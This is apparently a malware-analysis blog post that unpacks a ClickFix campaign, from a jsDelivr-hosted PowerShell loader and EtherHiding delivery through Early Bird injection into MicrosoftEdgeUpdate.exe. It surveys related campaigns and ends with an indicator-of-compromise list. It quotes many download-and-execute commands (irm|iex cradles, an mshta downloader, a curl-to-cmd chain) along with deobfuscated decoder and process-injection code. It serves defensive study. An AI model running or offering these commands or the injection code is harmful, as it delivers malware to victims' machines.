From Win+X to EdgeUpdate - Unpacking a jsDelivr Hosted ClickFix Loader

Intro

Over the last few weeks, I’ve been tracking a range of different phishing campaigns, from device code phishing and backend operator panels to ClickFix. The volume of IOCs, TTPs and campaigns has been huge, so I built a tool to help track it all and find new infrastructure. More on that in a later post. For now, I want to focus on an interesting ClickFix campaign.

It starts off with a familiar picture, a classic ClickFix lure. This variation is slightly newer, as it asks the user to open a Windows Terminal window with Win+X then I, rather than using the Run box seen in previous campaigns.

IRM c"d"n[.]jsdelivr[.]net/g"h"/werd19327/A33FA0a-3D04-45Ee-AD11-3026ed95372/A7Ea-EE73049399c | IEX

The PowerShell command above is what gets copied to the user’s clipboard. It uses jsDelivr to fetch the first stage loader from a throwaway GitHub account. More on that later.

I followed the chain end to end, with some additional pivots. For those who want the quick version, here’s a summary:

• 16 compromised WordPress sites were serving the same pasted command on 2026-10-17 and 2026-10-18.
• The overlay is delivered through smart contracts on BNB Smart Chain testnet (EtherHiding), in the style of ClearFake.
• The first stage is a PowerShell script in a throwaway GitHub account, werd19327, fetched through jsDelivr, so the victim’s machine only talks to a trusted CDN.
• That script launches 32-bit PowerShell, which pulls a 6.3 MB install.ps1 XOR’d with the key AMSI_RESULT_NOT_DETECTED.
• The decoded loader resolves APIs by hash and uses Early Bird injection to load shellcode into MicrosoftEdgeUpdate.exe, or rundll32.exe if that isn’t there.
• The shellcode XOR decrypts and decompresses a final PE, 7706300537b13e40761d173327fccfb4e668333b22c09ec4a08b64489ba867ea, which poses as Realtek HD Audio Manager. When I checked, it wasn’t on VirusTotal or MalwareBazaar.
• The same packer, install.ps1 naming, nameserver pair and apnews.com decoy redirect appear in an earlier ansnew.com write-up, so this looks like the same operation rotating its GitHub accounts and C2 domains.
• A second operator account, xvcbbdg38465, shows the same loader pointing at earlier C2s (viewable[.]top, brambly[.]world, gorsefield[.]cc), and also hosts stagers for a separate x64 bot, “smallpox”.

What My Tracker Sees

A quick detour into my phish tracker. Below is a small sample of the results it has tracked. ClickFix is just one of the campaign types I’m actively tracking.

The tracker also does some analysis automatically, including IOC extraction. Most of this is Python-based rules and extraction, with some AI analysis on top to help weed out false positives.

Now, if you’re still with me, let’s dive into the details of this ClickFix campaign.

Delivery

Compromised Sites and the Overlay

All 16 sites run WordPress, are based in different countries, and have nothing in common beyond the injected script. The injected JavaScript doesn’t contain the overlay itself. Instead, it reads it from contracts on BNB Smart Chain testnet with eth_call requests to public RPC endpoints:

This technique is called EtherHiding, and it has become very popular over the last year as a delivery mechanism for ClickFix campaigns.

Because the contract holds the next hop, the operator can change where every infected site points with a single transaction, without touching the compromised sites. It also means there’s no domain to suspend, and the only thing to remove on the WordPress side is the injected loader.

The overlay sets a cjs_id cookie, keyed on the visitor’s IP from a public IP lookup, and only shows itself to Windows browsers that aren’t headless. The BSC testnet contracts, load_() loader and per-visitor tracking are consistent with ClearFake, and one of this operator’s earlier C2 domains, brambly.world, has been publicly tagged as ClearFake.

Several of these sites were also carrying a second, unrelated ClickFix injection at the same time, from a different framework and operator. Compromised WordPress sites are often compromised more than once, so removing one injection doesn’t mean the site is clean.

The Lure

The overlay is a fake verification check. Instead of the usual Win+R and paste, this variant walks the victim through:

1. Win + X, then I, which opens Windows Terminal (or PowerShell on older builds)
2. Ctrl + V
3. Enter

The page has already copied the command to the clipboard. Using Win+X then I sidesteps detections that watch the Run dialog (RunMRU). Microsoft reported the same Win+X switch in Lumma campaigns earlier this year (SecurityWeek).

The copied command:

IRM c"d"n[.]jsdelivr[.]net/g"h"/werd19327/A33FA0a-3D04-45Ee-AD11-3026ed95372/A7Ea-EE73049399c | IEX

The quotes inside c"d"n and g"h" are a simple way to break string matching on cdn.jsdelivr.net/gh/. PowerShell strips them, so the request still goes to cdn.jsdelivr.net/gh/werd19327/.... jsDelivr’s /gh/ path serves files straight out of a public GitHub repository.

Stage 1 - The GitHub Script

A7Ea-EE73049399c - 237,508 bytes of PowerShell.

The file uses a string-table obfuscator. Every meaningful string is produced by one of nine decoder functions, each sitting behind a chain of guard functions that return junk if a script-scoped variable isn’t set:

$script:TD0hNXDMU = 110766
function PPjQy2IGjlQi7e {
    param([int]$a, [int]$b, [int]$c)
    if (-not ((Get-Variable -Name ZEm5QsN6vPgX -Scope Script -ErrorAction SilentlyContinue).Value)) { return 'yyiugikljwz' }
    return 'yyiugikljwz'
}
function RJF_ArKzIjEx926 {
    param([int]$x, [int]$y)
    if (-not ((Get-Variable -Name ZEm5QsN6vPgX -Scope Script -ErrorAction SilentlyContinue).Value)) { return 'yyiugikljwz' }
    $c = (($x * 31) + $y) -band 65535
    return (& PPjQy2IGjlQi7e $x $y $c)
}

Most of these functions are decoys. The interesting part, once deobfuscated, is below.

# Deobfuscated and simplified
$u   = 'hxxps[:]//3D4EBF0-54a1-4844-bD7a-709370159964[.]selectivewilled[.]cc/install.ps1'
$exe = Resolve-Path ([Environment]::GetFolderPath(0x29) + '\W*P*S*\v*\pow*ell.exe')
#      SystemX86 -> C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

# Started with WindowStyle = Hidden
& $exe -NoProfile -ExecutionPolicy Bypass -Command "& (gcm ir*m) '$u' | & (gcm i*x)"

It uses 32-bit PowerShell from SysWOW64 to fetch and run install.ps1, which is covered in the next stage.

Anti-Analysis

Before decoding anything, the script checks whether it’s being analysed and quietly exits if so:

Stage 2 - install.ps1

install.ps1 - 6,353,129 bytes, 64,671 lines.

The second stage is huge, at over 6 MB, but most of it is junk code like this:

if((5*2-31)+20-6 -gt (23+20-27)) {
$PtdJ0cKe4t9aa = 959
$y98BvqPbCLKIZr = 912
}
elseif((45-46-47) -ne ((((29-33)-((40+17)-7))+9)+42)) {
$jN8TUWIvjuwhYS2D = 440
...
do{
$G5i0CCgjQ=(((((((798)+88-88)+70-70)+22-22)+52-52)+($sTg0NDMTYyI348AQREi)-($sTg0NDMTYyI348AQREi)))
if(39 -gt 93){continue}
break
}while((1918 -lt 1503))

Buried in the noise is an array of 510,099 character codes, which is the real payload. The XOR key is built by indexing into a 64-character table:

fYb6POp9U-v_2loTQHa481KtEwidBjCRzcDArMhgFWJkZnLX5N03GsmxyIeqV7uS

which comes out as:

AMSI_RESULT_NOT_DETECTED

Here’s the decoding routine at the end of the script, before and after cleaning it up:

# Original (tail of install.ps1)
.($T1co1C1VBULue6BL)$EcZ0bEPrFNdbvy3WqM9LYyQ.($pekkY9zA7nFsFMs)($($Gd01F1uiTrwMt=0;
  while($Gd01F1uiTrwMt -lt $ck3H7ilTXZLhqrPrQYzI2fI.($noay0oxOenkN85z1HUfSE)){
    $cp46y621AzmojzH=$ck3H7ilTXZLhqrPrQYzI2fI[$Gd01F1uiTrwMt];
    $i6eem8ETERXkDyI=[byte][char]$FcnRZ8NeY2If[($Gd01F1uiTrwMt%$FcnRZ8NeY2If.($noay0oxOenkN85z1HUfSE))];
    [byte]((($cp46y621AzmojzH)-bor($i6eem8ETERXkDyI))-($cp46y621AzmojzH-band($i6eem8ETERXkDyI)));
    $Gd01F1uiTrwMt++}))

# Cleaned up
$key = 'AMSI_RESULT_NOT_DETECTED'
$out = for ($i = 0; $i -lt $data.Length; $i++) {
    $a = $data[$i]; $b = [byte][char]$key[$i % $key.Length]
    [byte](($a -bor $b) - ($a -band $b))          # a XOR b, without using -bxor
}
iex ([Text.Encoding]::UTF8.GetString($out))       # 'iex' itself is built from chars 105,101,120

(a | b) - (a & b) is XOR written without the -bxor operator, another small trick to avoid pattern matching.

Stage 3 - The Injector

The decoded script is 382,573 bytes, and almost all of that is one here-string:

$ErrorActionPreference = 'SilentlyContinue'

$dullhead = @"
pl.8R!!&F9!+Ow5!&Bd#!3WHoZ/ogW..BHC4<XP=;G@LV,cDNSShyF^1SzO-Y907_c2Z9ZR9#,u*bIB3 ...[367,170 chars]...
"@

$al = '!#%&()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[]^_abcdefghijklmnopqrstuvwxyz'

$dullhead is the shellcode, encoded with Base85 using a custom alphabet ($al). It isn’t Ascii85 or Z85, so standard decoders produce garbage. The dc function is a Base85 decoder that uses that alphabet.

API Hashing

The loader doesn’t use Add-Type, DllImport or any API names in plain text. Instead, it copies the in-memory image of kernel32.dll (falling back to kernelbase.dll) into a byte array, walks its export table, and hashes each name:

function hm([long]$v, [int]$bb) {
    [long]$M = 2870014623
    [long]$a = ($v -band 65535) * $M
    [long]$c = ((($v -shr 16) -band 65535) * $M -band 65535) * 65536
    return (($a + $c + $bb) -band 4294967295)
}
# seed 0x35, applied to each byte of the export name

Running the hash across kernel32’s exports gives:

Delegates for each pointer are built at runtime with DefineDynamicAssembly / DefineType and GetDelegateForFunctionPointer, so nothing is compiled to disk and csc.exe is never called.

Early Bird APC Injection

The target list is built from split strings:

$cs += [IO.Path]::Combine($pf, 'Micro' + 'soft', 'Edge' + 'Update', 'Microsoft' + 'Edge' + 'Update.' + 'exe')
$cs += [IO.Path]::Combine($sx, 'rundll' + '32.' + 'exe')

This gives C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe first, then C:\Windows\SysWOW64\rundll32.exe. Both are 32-bit, to match the x86 shellcode. The injection itself is a classic Early Bird APC injection:

$null = $f1.Invoke($tpa, 0, 0, 0, $false, [uint32]4, 0, 0, $sb, $qbuf)  # CreateProcessA, CREATE_SUSPENDED
$rm = $f2.Invoke($hp, 0, $sc.Length, 0x3000, 0x40)                     # VirtualAllocEx, MEM_COMMIT|RESERVE, RWX
$wr = $f3.Invoke($hp, $rm, $sc, $sc.Length, 0)                         # WriteProcessMemory
[Array]::Clear($sc, 0, $sc.Length)                                      # wipe the local copy
$aq = $f4.Invoke($rm, $ht, 0)                                           # QueueUserAPC on the main thread
Start-Sleep -Milliseconds (500 + ($tv % 1500))                          # random 0.5-2s jitter (RNGCryptoServiceProvider)
$rv = $f5.Invoke($ht)                                                   # ResumeThread

The APC runs before the target’s own entry point, so the shellcode executes inside a signed Microsoft process before that process has started doing anything. If any step fails, TerminateProcess kills the suspended child process and the buffers are wiped.

There’s no persistence in any of the PowerShell stages - no Run keys, scheduled tasks, services or files written to disk. If there is persistence, it’s handled by the final payload. I was a little surprised by this at first, but persistence is often noisy, so leaving it out of the loader makes sense.

Stage 4 - The Shellcode

7ccab506c7ed3d2efc5671abbc33528182f16d62974007127758992cb6f0bf27 - 293,721 bytes, x86.

The shellcode is a reflective PE loader. It:

1. Walks the PEB loader list to find modules, and resolves exports with its own hash: seed 0x6c6c6a62, multiply by 31, lowercase each character with | 0x20

2. Reads a small header from the data:

3. XORs the data with key[i & 0x7f]
4. Decompresses with aPLib
5. Maps the resulting PE into memory, processes relocations and imports, sets section protections with VirtualProtect, and jumps to the entry point

Stage 5 - The Final Payload

7706300537b13e40761d173327fccfb4e668333b22c09ec4a08b64489ba867ea - 679,936 bytes.

The version info is spoofed to look like a Realtek audio component, which wouldn’t look out of place on a typical laptop. In practice, it never shows up under that name, as it only runs from memory inside MicrosoftEdgeUpdate.exe.

When I checked, neither the PE nor the shellcode had been seen on VirusTotal or MalwareBazaar. My guess is that the final payload is an infostealer, as with many of these campaigns. Either way, I thought the loader was interesting, considering it started from a ClickFix lure.

Infrastructure

GitHub and jsDelivr

The account was two days old when I found it. The repository history shows the operator rotating files and C2 hosts over a short period:

C2 Domains

Both domains use the nameserver pair ben.ns.cloudflare.com / frida.ns.cloudflare.com. Browsing to the root of the C2 hosts redirects to apnews.com, so anyone checking the domain sees a news site, while a PowerShell request for /install.ps1 gets the payload.

The GUID-style subdomains look random, but they’re fixed per file version, so each GitHub file has its own C2 hostname.

Related Reporting

ansnew.com - “04FB-fF”

A write-up from 2026-10-02 on ansnew.com describes the same chain two weeks earlier, under a different GitHub account:

That report stopped at an undecoded blob of 284,229 bytes, which is close in size to the 293,721-byte shellcode here. It’s very likely the same operator, rotating accounts every couple of weeks.

For the delivery side, Sekoia’s ClearFake research covers the BSC-based EtherHiding approach used to serve the overlay.

The Same Operator, Another GitHub Account

Searching GitHub for the stage 1 obfuscator turned up a second account from the same operator, xvcbbdg38465. It was created on 2026-09-28 and commits as xvcbbdg38465@proton[.]me, with the same GUID-fragment repo and file names. Its three repos hold stage 1 loaders built with the same obfuscator, and their history fills in the C2 rotation before werd19327 appeared:

The same account also hosts a second, unrelated loader: small PowerShell stagers that download an XOR-encoded blob and run it from RWX memory through an EnumSystemLocalesEx callback. The blob is hosted on what looks like a hijacked GitHub account, dormant since 2014 until a file was uploaded on 2026-10-15, and is also served from 144.172[.]85[.]251:9999, a RouterHosting IP. It decodes to an x64 bot with a section named smallpox and the PDB path C:\krebsonsecurity\smallpox\bot.exe, compiled on 2026-10-14.

More ClickFix Campaigns From the Tracker

The werd19327 chain was only one of the ClickFix campaigns my tracker picked up. Below is everything else confirmed between 17 and 19 October 2026, without the deep dive. Each campaign has a short summary and an example of the command it copies to the clipboard. The IOCs are at the end of the post.

Across all campaigns, including werd19327:

• 354 compromised sites with a captured ClickFix command, across 12 distinct campaigns
• 713 unique pasted commands, from 861 page captures
• 4,246 smart contract reads across 27 contracts on Polygon, BNB Smart Chain testnet, Base and Sepolia
• 480 unique next-stage files downloaded and unpacked, including password-protected archives
• Eight final payload EXEs, six of which weren’t on VirusTotal or MalwareBazaar when the tracker checked

Campaign Overview

1. verifing-server / nvc-info

This was the biggest campaign by far, on 247 sites. The overlay reads Polygon contract 0xB6bC9e1D0b2fB96Ab7C47E04Cb0BE477410bC1f2, which returns the current stage host. The command is short, just a host plus a 16-character hex ID:

irm 'verifing-server[.]codes/24ff70e71f466d7f'|iex;
irm 'code[.]nvc-info[.]beer/58ad6a353717c654'|iex;
irm 'auth-code[.]nvc-info[.]beer/be64c2b592fb85ef'|iex;

One site was also seen with a powershell -w h "iex(irm 'fingerprint-veri[.]info/...'); Start-Sleep -Seconds 30"; exit variant.

The next stage is AES-encrypted PowerShell, which pulls a per-victim URL on verifing-server[.]codes (the path is a SHA256). That serves a ZIP or 7z with the password warden. 630 different commands came from these sites, and the tracker collected 134 archives. These contained four unique EXEs: dantestraffic16.exe (89 deliveries, VT 45/70) and three builds of helsinki.exe.

2. WUA Header

This campaign was on 46 sites. It stands out because of the custom User-Agent and header on the request, and the path changes per C2:

(irm 'hxxps[:]//xorados[.]com/dan_proliv/f0e3236de871eb1d' -UserAgent 'WUA/c3e88770af' -Headers @{'X-WUA'='c3e88770af'})|iex
(irm 'hxxps[:]//cosmical2049[.]com/lom3/0ad7a0bdad0aa13d' -UserAgent 'WUA/adedf1881f' -Headers @{'X-WUA'='adedf1881f'})|iex
iex(irm 'hxxps[:]//copiose[.]org/lom/62a9405c9735a1a7' -UserAgent 'WUA/8382bc918d' -Headers @{'X-WUA'='8382bc918d'})

45 of the 47 sites read Polygon contract 0xff9e792a3015a79340cdec1847ab0aa10560422a, which returns an encrypted blob rather than a plain URL. A second contract, 0xfd75a8f5..., returns cloudeccentric[.]cc. All three stage hosts had stopped resolving by the time the tracker tried them, so no payload was collected. 17 of these sites also carried the verifing-server contract above.

3. A Second werd19327 Account: 19234tr68

The tracker has now seen the chain covered in this post on 33 sites, up from the 16 mentioned at the start. It also picked up a second loader account, 19234tr68, on four sites. That account uses the same loader, but it points at a different selectivewilled[.]cc host, serves cinstall.ps1 rather than install.ps1, and drops a different final PE that wasn’t on VirusTotal or MalwareBazaar.

IRM c"d"n[.]jsdelivr[.]net/g"h"/19234tr68/B3BeF8B-A44f-4119-A8a5-d9Ef59F0A7B/1-8C88-d5143357153 | IEX

The 19234tr68 sites use their own loader and overlay contracts, but share the visitor-tracking contract 0xf4a32588b50a59a82fba148d436081a48d80832a with werd19327 and with zor-876 below.

4. vcapcha.ps1

This campaign was on 11 sites, all first seen on 19 October. The script is hosted on other compromised sites rather than attacker-owned domains:

powershell -w hidden -ep bypass -c IEX((New-Object Net.WebClient).DownloadString('hxxps[:]//v-k[.]com[.]ua/vcapcha.ps1'))"

By the time the tracker fetched them, all three script URLs returned 404 or no longer resolved.

5. MediaFire mshta

Seven sites, all from 19 October. This one doesn’t use PowerShell at all. The command is a JScript one-liner run with mshta. It downloads an EXE from MediaFire with MSXML2.XMLHTTP, writes it to %TEMP%\verification.exe with ADODB.Stream and runs it with WScript.Shell:

mshta "javascript:var x=new ActiveXObject('MSXML2.XMLHTTP');x.open('GET','hxxps[:]//www[.]mediafire[.]com/file/yldoq9125h0znvl/e5233db1+(1).exe/file?dkey=id39ilo7cpx&r=40',false);x.send();var fso=new ActiveXObject('Scripting.FileSystemObject');var p=fso.BuildPath(fso.GetSpecialFolder(2),'verification.exe');var s=new ActiveXObject('ADODB.Stream');s.Type=1;s.Open();s.Write(x.responseBody);s.SaveToFile(p,2);s.Close();(new ActiveXObject('WScript.Shell')).Run(p);"

The SHA256 of the downloaded file was 7bd71cdc4fac6f235a0eb0a7df9d275ccf6ba377ab961f55c47a3949b2c6ce84, which I couldn’t find in any public reporting.

6. zor-876

Four sites, using the same ClearFake-style BSC testnet framework as werd19327. The command hides its strings by splitting them across cmd variables, and runs headless through conhost:

conhost --headless cmd /v:on /c "set a=cdn&set b=[.]jsdelivr&set c=[.]net/gh/zor-876/futures-import@04&set d=e2419/llm&set power=shell&power!power! -nop -c iex(irm !a!!b!!c!!d!)"

jsDelivr returned HTTP 400 for the repo when the tracker fetched it.

7. Apps Script + Vercel

Two sites. Polygon contract 0xf70730a4... returns a Google Apps Script URL. The command first checks the victim in with a UUID, timezone, site and OS, then pipes a batch file from Vercel into cmd:

cmd.exe /c "curl.exe -sL -d ""id=558d6e2c-..."" -d ""location=America%2FNew_York%20%7C%20en-US"" -d ""siteUrl=hxxps%3A%2F%2Fbentleyg[.]com%2F"" -d ""os=win10"" ... ""hxxps[:]//script[.]google[.]com/macros/s/AKfycbzs0vQRvI-.../exec"" & curl.exe -s hxxps[:]//script-six-tawny[.]vercel[.]app/win -L | cmd"

/win downloads token_windows.cmd from Vercel Blob storage. That script relaunches itself hidden, downloads a portable Node.js from nodejs.org and runs an obfuscated 101.js as .task\parser.npl.

8. One-offs

Five single-site commands. All their stage hosts were down or 404 when fetched:

Other Contracts on the Same Sites

These contracts were read by confirmed sites, but no clipboard command was tied to them during capture. Most return a single domain, in the same style as the verifing-server contract. They’re listed in the IOCs at the end because the domains they return are worth blocking.

Conclusion

That brings this post to an end. The main takeaway for me is the scale of these campaigns. These findings are based on only three days’ worth of data from my tracker, and that doesn’t include all the other phishing campaigns I’m tracking. Again, the use of AI to generate campaigns and payloads has lowered the barrier to entry, and made it far easier for attackers to spin up new infrastructure.

Next time, I’ll be covering some operator panels and phishing backends that expose real access tokens for compromised victims. Until then!

Indicators of Compromise

abc-emea[.]com
abcembreagem[.]com[.]br
admiralcare[.]com[.]au
adrianalopezfotografia[.]com
agenasteam[.]cz
ageragroup[.]com
alberts-vorburger-hof[.]de
alessandracalheira[.]com[.]br
altekservices[.]com[.]au
alz[.]org[.]pk
ambulance-bethelem[.]com
antonicelliformazione[.]it
aqiq[.]af
ardexion[.]com
asturigin[.]com
babybedsheet[.]com
barusariankala[.]com
bencami[.]com
bentleyg[.]com
bigredwire[.]com[.]au
bj66c3[.]com
bj66dagavn[.]com
bj66info[.]com
bj66sa[.]com
bj66thomo[.]com
bj66u[.]com
bj66viet[.]com
bj66vn[.]com
blackboxroyalties[.]com
brokersbd[.]com
canariasmedios[.]com
casadellasperanzadata[.]com
casavilladibriano[.]it
cfpj[.]tg
champsperdrix[.]fr
charlemagne[.]ma
cie-felicettechazerand[.]be
clinicanepsa[.]es
clward[.]com
creeyacht[.]pl
cricketpuns[.]com
cristaldata[.]info
dailygrynde[.]fit
dentoessencern[.]com[.]br
deriasociados[.]com
dgzverandas[.]nl
doppio-click[.]it
dottoressagiusivillirillo[.]it
eastmont[.]net
energy-dasstudio[.]at
espacesante-suisse[.]ch
european-blackjack[.]co[.]uk
falaqnurserybd[.]com
fesv[.]net
fm[.]com[.]do
fondazioneoav[.]it
fxplus[.]com[.]tr
gatorpixelai[.]com
gconsulting-ci[.]com
geometre-simon[.]com
globalsourcing[.]africa
go-globe[.]dev
goodvibesinvest[.]com
greenvite[.]co[.]il
grelectricidad[.]es
griland[.]ru
guillembaches[.]com
h3dparts[.]com
hahhong[.]com
helderbergexcavating[.]com
hfcberlin[.]de
hksoftech[.]com
homeshowtimes[.]com
hoteldelapaixalbert[.]com
isifarmer[.]es
jamesgolden[.]com
jauntygroup[.]com
jsa-koffer[.]de
just-foryou[.]fr
nylocorporation[.]com
rickowenwear[.]com
sardantinfortunistica[.]it
serrarea[.]com
spruillcapital[.]com
sskdesign[.]com
tamccfoundation[.]org
teamcase[.]it
thesignmakeraz[.]com
tryggtkapital[.]se
ucerma[.]sk
v4travels[.]com
virazofurniture[.]in
worldwidepainting[.]com[.]au
yelphelper[.]com
4twellnesshub[.]co[.]tz
adoptamestizos[.]com
asdstar[.]com
asteroidesproductions[.]com
bewusste-schwangerschaft[.]com
bnsdaily[.]com
bybusiness[.]fr
dataplaysolutions[.]com
dionysoc[.]com
duomegahair[.]com[.]br
especialistasencreditosmx[.]com
fcri[.]net
felipemesa[.]com
h2homecollection[.]com
homeinnovationsunlimited[.]com
idevelop[.]pro
iuriqa[.]legal
iusversilia[.]it
jacarandabymar[.]com
jennifensports[.]com
jvrcreativeindia[.]com
karmel-consulting[.]com
kidsmelabd[.]com
kovactransport[.]de
kreatorvox[.]com
kyramediaafrique[.]com
labelivoiretravel[.]com
liftsystemssolutions[.]com
linepro[.]tv[.]br
livebj66[.]com
lovingthejourneys[.]com
lowt[.]health
manganrealestate[.]com
marcusolausson[.]com
marichelledejongfoundation[.]nl
mediaindustry[.]org
megabaratodeitaperuna[.]com[.]br
megacool[.]co[.]za
meyer-suire[.]com
monguidesenior[.]fr
monstago[.]com
namhuzz[.]com
nitcoenergy[.]com
nlspronos[.]fr
nomadblends[.]com
oakandstoneproperty[.]com
olivercash[.]co[.]uk
onepinggroup[.]com
oneworld[.]africa
orofranspain[.]com
paolayenay[.]com
penyabarcelonistavilanova[.]cat
personalgym[.]in
physiotherapiekraft[.]de
pizza-primavera-wiesbaden[.]de
plshousing[.]org
pouchportal[.]co[.]uk
pyramidrockrealty[.]com
realblessingpro[.]com
realstrikklyhiphop[.]com
reginaldtjackson[.]com
reliancegranito[.]com
repausetoisurmoi[.]fr
republika-srpska-stuttgart[.]de
reynolds[.]mw
ridgelineroofingandgeneralbuilding[.]co[.]uk
rosales20bar[.]com
rubencabanillas[.]site
saffronsocial[.]com
saintpatricksanglicanchurch[.]org
samratech[.]com
samsunsesisik[.]com
sanxuatmay[.]com
sauchasoulyoga[.]com
sbokubet[.]com
scabd[.]org
scentury[.]vn
shinemusic[.]ca
sicilyfoodmannino[.]it
sinosprint[.]com[.]br
slotlink[.]co[.]uk
smartchild[.]sk
spanishlessonslosangeles[.]com
sportmusicplay[.]com
steakclub[.]fr
streamlineagencies[.]co[.]za
superbbicycle[.]com
superiorindy[.]com
sweetheartcare[.]com[.]au
synergysparq[.]com
techwise-fix[.]space
tecnobrasautomacao[.]com[.]br
theatrecharbon[.]fr
thecouponzpromo[.]com
theficobooster[.]com
thepob[.]co[.]uk
therapyclinic[.]online
thetutimutabazi[.]org
theyouthtakeoverproject[.]org
thuyengovn[.]com
tjcreative[.]org[.]za
topendtacticalstore[.]com
traceembrace[.]co[.]za
travaux-decoration-maison[.]fr
valoconsulting[.]net
vasservending[.]com
verttige[.]tn
vidieckymakler[.]sk
volana[.]io
waimana[.]ch
webbet168[.]net
welderswelfare[.]com
wetzelmassage[.]com
wr2[.]com[.]br
zenequitycapital[.]com
zhen520[.]com
zlab[.]it
101.200.53.201
103.182.234.231
124.221.91.207
162.215.120.58
185.215.164.161
3.136.140.29
35.170.239.150
38.60.253.132
46.62.164.66
5.56.58.60
50.87.231.132
50na50[.]sk
51.178.44.255
62.146.230.144
alberguevillanua[.]es
almaskaanvillage[.]com
cainsportscomplex[.]com
carolinepeyton[.]com
cuadrante7[.]mx
dreamdigi[.]tw
dziendobra[.]pl
fincacademy[.]it
gatewaystbl[.]com
gotexasholdempoker[.]com
hilldentistry[.]net
iaingorontalo[.]ac[.]id
kiti[.]com[.]kw
memesdabola[.]com[.]br
patrickgillet[.]fr
publicacionespastorales[.]com[.]ec
realconcepts[.]nl
stevenshometeam[.]com
sukoyakayd[.]jp
teagueslawncare[.]com
thefitout[.]ae
vineriadelpopolo[.]it

autoressq[.]com
bracys-a1-septic[.]com
danddcasinoevents[.]com
douglascormack[.]co[.]uk
fv-gym-alfter[.]de
growwithgates[.]com
xn--webdesign-nrnberg-d3b[.]net
academicpipelinedatabase[.]net
amaara[.]uk
askgeoffrey[.]ai
barbosamaiaadvogados[.]com[.]br
braintunehoney[.]com
brentesoncompanies[.]com
cruisevacationhq[.]com
david-traut[.]de
dentalpulseacademy[.]com
edmradio[.]es
focalgambling[.]com
forteristorante[.]com
gettemps[.]ca
glowaminosusa[.]com
healthfacts[.]info
insighttechgroup[.]com
khco[.]com[.]sa
marshmallowbaby[.]it
mindlifeproject[.]com
mylinku[.]my[.]id
nbispa[.]com
premierdentalrcm[.]com
rancholamuneca[.]com
realtime[.]ng
rebelnovastudio[.]com
runningbuffalocabin[.]com
scholarsign[.]com
sentiaschool[.]edu[.]vn
tawatson[.]com
telehouse[.]com[.]pk
uyumelektrik[.]com
zone3capital[.]com
allvideo[.]ch
genisys[.]org[.]in
microlablaboratories[.]com
mission24[.]net
netixrd[.]com
rausverkauf[.]ch
vanesagalli[.]com

caiforniaprobatelawyers[.]com
demolas[.]top
elitewerks[.]com
instytutbri[.]pl
monomit[.]com
nazimco[.]com
pharmart[.]ae
rahateam[.]com
silviozamora[.]com
social-buddha[.]com
theset[.]co[.]za

164.160.143.74
drepoxyfloor[.]com
elamaoui[.]com
gimono[.]bj
kistelekopen[.]com
niluhomeimprovement[.]com
solvedpuzzle[.]com

unitedelegance[.]com
fclasure[.]fr
pibmesquita[.]com[.]br
melosrendering[.]com[.]au

atelierdejulie[.]com
bentleyg[.]com

accounts-google-check[.]netlify[.]app

solara-support[.]github[.]io

mrfun[.]unaux[.]com

groundvelocity[.]com

alacatibellezza[.]com